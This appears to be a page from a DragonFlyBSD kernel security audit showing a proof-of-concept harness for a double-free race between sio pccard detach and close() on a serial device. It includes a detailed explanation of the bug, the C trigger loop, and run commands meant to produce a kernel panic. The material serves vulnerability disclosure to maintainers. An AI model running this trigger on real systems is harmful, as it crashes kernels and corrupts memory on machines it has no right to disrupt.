⬢ DragonFlyBSD Kernel Audit
DF-5191 / race_harness.c
← back to finding ↓ download raw
/*
 * DF-5191 — illustrative trigger harness (NOT RUNNABLE ON THE AUDIT GUEST)
 *
 * Race being exercised (requires real PCMCIA/pccard hardware or a bus that
 * instantiates the sio pccard attachment):
 *
 *   T1 (unprivileged user):  open("/dev/ttydX") ... close()   [loop]
 *   T2 (root / card eject):  sio_pccard_detach() via pccard
 *                            card removal / `pccardc power off` / kldunload
 *
 * sio_pccard_detach() (sys/dev/serial/sio/sio_pccard.c:117-143) mutates
 * com->gone, com->tp and frees com->ibuf WITHOUT taking tty_token, while
 * every sio core path that touches the same fields runs under
 * lwkt_gettoken(&tty_token) (sio.c:1277, sio.c:1460, siosetwater
 * "called with tty_token held" sio.c:2446).  A close(2) that passes
 * sioclose's com->gone check (sio.c:1475) after detach already freed
 * com->ibuf (sio_pccard.c:138-139, pointer never NULLed) performs a second
 * kfree of the same M_DEVBUF chunk -> double free.
 *
 * The audit guest is QEMU/i440fx with no pccard bridge (0 pccard lines in
 * dmesg.boot; sio_pccard.c is `optional sio pccard` and no such device
 * exists), so this harness could not be executed. It is included to make
 * the interleaving concrete for maintainers with the hardware.
 *
 * build (on a DragonFly system): cc -O2 -o race_harness race_harness.c
 * run:   ./race_harness /dev/ttyd0  &     (as unprivileged user)
 *        while :; do pccardc power off 0; pccardc power on 0; done  (root)
 * success criterion: kernel panic / heap corruption in M_DEVBUF
 * (e.g. "double free" kmem diagnostics), typically within minutes.
 */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *dev = (argc > 1) ? argv[1] : "/dev/ttyd0";
	int i;

	for (i = 0; i < 100000; i++) {
		int fd = open(dev, O_RDWR | O_NONBLOCK);
		if (fd >= 0) {
			char c;
			usleep(100);
			(void)write(fd, "x", 1);
			(void)read(fd, &c, 1);
			close(fd);		/* races detach's ttyclose/kfree */
		}
		usleep(50);
	}
	return (0);
}